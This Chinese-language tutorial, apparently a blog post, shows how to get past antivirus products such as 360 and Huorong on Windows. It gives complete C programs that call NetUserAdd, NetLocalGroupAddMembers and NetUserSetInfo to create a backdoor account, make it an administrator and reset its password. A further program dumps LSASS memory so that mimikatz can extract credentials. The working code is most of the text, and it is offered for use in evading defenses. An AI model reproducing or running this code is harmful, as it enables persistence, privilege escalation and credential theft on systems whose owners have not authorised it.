1. 账号操作
我们知道如果在有杀软的情况下,你想去创建一个账号的话杀软基本上都会拦截的,这个时候我们就需要绕过杀软来进行相关的操作,这里面有一种思路就是利用Windows API来创建、修改账号或管理员组的信息。
1.1 创建账号
1.1.1 NetUserAdd API基础
这里面我们涉及一个API和相关的函数结构:
NetUserAdd函数
USER_INFO_1结构
直接来演示吧,下面是Windows 创建账号相关的API,主要是NetUserAdd,其相关的链接为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
相关的数据结构为:
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
LPCWSTR servername,
DWORD level,
LPBYTE buf,
LPDWORD parm_err
);
我们主要关注其level,我们主要关注的为level1,相关的级别如下:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/12498619/1634091840176-d89bb51a-515e-4c46-9ef6-cc09228023b8.png#clientId=u29d55d23-4cb8-4&from=paste&id=u8f429660&margin=%5Bobject%20Object%5D&name=image.png&originHeight=608&originWidth=1030&originalType=binary&ratio=1&size=60560&status=done&style=none&taskId=uca5f9cc4-1d77-4b54-b1f0-8df4a776968)<br />详细可参考这个API,相关链接为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1
其level=1时,其USER_INFO_1的结构为:
typedef struct _USER_INFO_1 {
LPWSTR usri1_name;
LPWSTR usri1_password;
DWORD usri1_password_age;
DWORD usri1_priv;
LPWSTR usri1_home_dir;
LPWSTR usri1_comment;
DWORD usri1_flags;
LPWSTR usri1_script_path;
} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
1.1.2 代码实现
相关的代码如下所示:
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int Usage(wchar_t*);
int wmain(int argc, wchar_t* argv[])
{
// 定义USER_INFO_1结构体
USER_INFO_1 user1;
DWORD dwError = 0;
user1.usri1_name = L"test"; // 账户
user1.usri1_password = L"1"; // 密码
user1.usri1_priv = USER_PRIV_USER;
user1.usri1_home_dir = NULL;
user1.usri1_comment = NULL;
user1.usri1_flags = UF_SCRIPT;
user1.usri1_script_path = NULL;
//利用NetUserAdd函数创建用户
NetUserAdd(NULL, 1, (LPBYTE)&user1, &dwError);
return 0;
}
可以看到代码其实就两个部分:
1.利用NetUserAdd API创建用户
2.定义USER_INFO_1结构体,指定账号信息(账号名、密码、账号类型等)
1.1.3 效果
直接运行
静态不查杀:
动态运行代码,也可成功运行,但是杀软并没有拦截:
看一下结果,账号成功创建:
1.2 增加到管理员组
1.2.1 NetLocalGroupAddMembers API基础
这里面使用的API为NetLocalGroupAddMembers,详细为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers
相关的语法为:
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
LPCWSTR servername,
LPCWSTR groupname,
DWORD level,
LPBYTE buf,
DWORD totalentries
);
这里面我们主要关注level,其level为3时表示回呀到本地组中:
看一下这个LOCALGRUP_MEMBERS_INFO_3的结构:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3
typedef struct _LOCALGROUP_MEMBERS_INFO_3 {
LPWSTR lgrmi3_domainandname;
} LOCALGROUP_MEMBERS_INFO_3, *PLOCALGROUP_MEMBERS_INFO_3, *LPLOCALGROUP_MEMBERS_INFO_3;
1.2.2 实现
先看一下test用户并没有在任何的本地组中,我们想把其加到管理员组中:
代码实现为:
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int Usage(wchar_t*);
int wmain(int argc, wchar_t* argv[])
{
// 定义LOCALGROUP_MEMBERS_INFO_3结构
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = L"test";
// 利用NetLocalGroupAddMembers API将用户到administrators组
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
return 0;
}
1.2.3 效果
这里面我们直接运行,可以看到360和火绒并没有拦截:
再看一下效果,test账号已经被加入到管理员组中了:
2. 修改密码
2.1 NetUserSetInfo API基础
主要利用的API为netusersetinfo
https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netusersetinfo?redirectedfrom=MSDN
相关的语法为:
NET_API_STATUS NET_API_FUNCTION NetUserSetInfo(
LPCWSTR servername,
LPCWSTR username,
DWORD level,
LPBYTE buf,
LPDWORD parm_err
);
其主要是指定Level 为1003,其代表修改密码:
1003的结构为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1003
2.2 代码实现
相关的实现代码为:
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int Usage(wchar_t*);
int wmain(int argc, wchar_t* argv[])
{
// 定义USER_INFO_1003结构体
USER_INFO_1003 user1;
user1.usri1003_password = L"1";
//利用NetUserSetInfo函数设置用户信息
NetUserSetInfo(NULL, L"test",1003, (LPBYTE)&user1, NULL);
}
2.3 效果
3. Dump lsass内存数据
目前ProcDump程序已经被360拦截,无法利用这种方式进行dump内存,因此我们可以考虑直接调用Windows API来实现Dump内存的目的。
3.1 MiniDumpWriteDump API基础
该API相关说明链接如下:
https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
其数据结构如下所示:
BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
3.2 代码
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
3.3 效果
直接以64位进行编译
可以看到其已经Dump lsass内存数据成功
并且杀软全开:
然后直接使用mimikatz来进行分析就可以dump内存了。
4. referers
NetUserAdd-创建用户
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
NetLocalGroupAddMembers 用户组操作
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers
NetUserSetInfo-修改用户信息
https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netusersetinfo?redirectedfrom=MSDN
MiniDumpWriteDump
https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump